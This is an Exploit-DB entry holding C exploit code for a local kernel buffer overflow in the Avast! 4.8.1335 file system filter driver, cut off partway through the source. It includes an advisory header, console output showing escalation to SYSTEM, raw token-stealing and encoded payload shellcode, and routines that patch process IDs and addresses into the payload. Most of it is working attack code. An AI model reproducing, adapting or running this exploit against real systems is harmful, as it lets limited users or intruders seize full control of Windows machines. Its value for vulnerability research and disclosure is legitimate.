Exploit-DB #9492
Description: Avast! 4.8.1335 Professional - Kernel Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-08-24
Author: Heurs

Exploit:
#include <stdio.h>
#include <windows.h>
#include <winioctl.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

/*
Program          : avast! 4.8.1335 Professionnel
Homepage         : http://www.avast.com
Discovery        : 2009/07/29
Author Contacted : 2009/07/31
Found by         : Heurs
This Advisory    : Heurs
Contact          : heurs@ghostsinthstack.org


//----- Application description


avast! antivirus software represents complete virus protection, 
offering full desktop security including a resident shield.
This antivirus is certified by both ICSA Labs and West Coast 
Labs Checkmark.

//----- Description of vulnerability

The File System Filter driver is prone to a local kernel buffer overflow.
This vulnerability allows an intruder to gain SYSTEM privileges on a Windows 
system from a limited user account. 

//----- Proof Of Concept

http://www.sysdream.com/LocalEscalation_Avast.rar

//----- Credits

http://www.sysdream.com
http://ghostsinthestack.org

s.leberre at sysdream dot com
heurs at ghostsinthestack dot org

//----- Greetings

Virtualabs


//-----Exploitation

###############################################
Avast Kernel Buffer Overflow Vulnerability
Proof Of Concept...

===> Found : LocalEscalation_Avast.exe : 2676

Shellcode PID Uploaded !
Shellcode Redirect Uploaded !
Shellcode Stack Uploaded !
Connecting...    Found !
Handle : 0000001C
Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\eleve\Bureau>whoami
SYSTEM
###############################################
*/

char UpdateAswMon [] = {
       0x5E, 0x81, 0xEE, 0x6B, 0x03, 0x00, 0x00, 0x81, 0xC6, 0x30, 0x9E, 0x00, 0x00, 0xC7, 0x06, 0x00, 
       0x00, 0x00, 0x00
   };

char ShellcodeMaster[] = "\x33\xf6\x33\xff\x64\xa1\x24\x01\x00\x00\x8b\x40\x44\x05\x88\x00"
"\x00\x00\x8b\xd0\x8b\x58\xfc\x81\xfb\x41\x41\x41\x41\x75\x02\x8b"
"\xf0\x83\xfb\x04\x75\x02\x8b\xf8\x8b\xd6\x23\xd7\x85\xd2\x75\x08"
"\x8b\x00\x3b\xc2\x75\xde\xeb\x10\x8b\xc7\xb9\x40\x00\x00\x00\x03"
"\xc1\x8b\x00\x8b\xde\x89\x04\x19\xba\x11\x11\x11\x11\xb9\x22\x22"
"\x22\x22\xb8\x3b\x00\x00\x00\x8e\xe0\x0f\x35";

char RealShellcode[] = "\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x15"
"\xf3\x1d\xb8\x83\xeb\xfc\xe2\xf4\xe9\x1b\x59\xb8\x15\xf3\x96\xfd"
"\x29\x78\x61\xbd\x6d\xf2\xf2\x33\x5a\xeb\x96\xe7\x35\xf2\xf6\xf1"
"\x9e\xc7\x96\xb9\xfb\xc2\xdd\x21\xb9\x77\xdd\xcc\x12\x32\xd7\xb5"
"\x14\x31\xf6\x4c\x2e\xa7\x39\xbc\x60\x16\x96\xe7\x31\xf2\xf6\xde"
"\x9e\xff\x56\x33\x4a\xef\x1c\x53\x9e\xef\x96\xb9\xfe\x7a\x41\x9c"
"\x11\x30\x2c\x78\x71\x78\x5d\x88\x90\x33\x65\xb4\x9e\xb3\x11\x33"
"\x65\xef\xb0\x33\x7d\xfb\xf6\xb1\x9e\x73\xad\xb8\x15\xf3\x96\xd0"
"\x29\xac\x2c\x4e\x75\xa5\x94\x40\x96\x33\x66\xe8\x7d\x8d\xc5\x5a"
"\x66\x9b\x85\x46\x9f\xfd\x4a\x47\xf2\x90\x70\xdc\x3b\x96\x65\xdd"
"\x15\xf3\x1d\xb8";

int GetPidByName(char * name_Proc) {
    PROCESSENTRY32 PEntry;
    HANDLE hTool32;
    
    PEntry.dwSize = sizeof(PROCESSENTRY32);
    hTool32 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hTool32 == INVALID_HANDLE_VALUE) {
                printf("\nError ==> CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)");
                getch();
                exit(0);
                }
    if(!Process32First(hTool32, &PEntry)) {
                                printf("\nError ==> Process32First(hTool32, &PEntry)");
                                getch();
                                exit(0);
                                }
    if (!strcasecmp(PEntry.szExeFile, name_Proc)) {
       printf("===> Found : %s : %d\n\n", PEntry.szExeFile, PEntry.th32ProcessID);
       return PEntry.th32ProcessID;
    }
    //printf(   "\n               Process  :  PID\n");
    while(Process32Next(hTool32, &PEntry) != 0){
        if (strcasecmp(PEntry.szExeFile, name_Proc) == 0) {
                                       CloseHandle(hTool32);
                                       printf("===> Found : %s : %d\n\n", PEntry.szExeFile, PEntry.th32ProcessID);
                                       return PEntry.th32ProcessID;
                                       }
        //printf("===> Trouver : %s : %d\n", PEntry.szExeFile, PEntry.th32ProcessID);
    }
    printf("\n%s n'a pas ete trouve.", name_Proc);
    getch();
    exit(0);
}

void MajShellcode(char * ProcessName){
     DWORD ProcessID;
     DWORD MagicWord = 0x41414141;
     int i;
     
     ProcessID = GetPidByName(ProcessName);
     for (i=0; i<sizeof(ShellcodeMaster); i++) {
         if (!memcmp(ShellcodeMaster+i, &MagicWord, 4)) {
            ShellcodeMaster[i] = (DWORD) ProcessID & 0x000000FF;
            ShellcodeMaster[i+1] = ((DWORD) ProcessID & 0x0000FF00) >> 8;
            ShellcodeMaster[i+2] = ((DWORD) ProcessID & 0x00FF0000) >> 16;
            ShellcodeMaster[i+3] = ((DWORD) ProcessID & 0xFF000000) >> 24;
            printf("Shellcode PID Uploaded !\n");
            return;
         }
     }
     printf("Shellcode PID NOT Uploaded :\'(\n");
     return;
}

void MajRealShellcode(){
     int i;
     DWORD MagicWord = 0x11111111;
     
     for (i=0; i<sizeof(ShellcodeMaster); i++) {
         if (!memcmp(ShellcodeMaster+i, &MagicWord, 4)) {
            ShellcodeMaster[i] = (DWORD) &RealShellcode & 0x000000FF;
            ShellcodeMaster[i+1] = ((DWORD) &RealShellcode & 0x0000FF00) >> 8;
            ShellcodeMaster[i+2] = ((DWORD) &RealShellcode & 0x00FF0000) >> 16;
            ShellcodeMaster[i+3] = ((DWORD) &RealShellcode & 0xFF000000) >> 24;
            printf("Shellcode Redirect Uploaded !\n");
            return;
         }
     }
     printf("Shellcode Redirect NOT Uploaded :\'(\n");
     return;
}

int FindStack(){
     __asm__(
       "mov %eax, %esp\n\t"
       "leave\n\t"
       "ret\n\t"
       );
}

void MajRealStack(){
     int i;
     DWORD MagicWord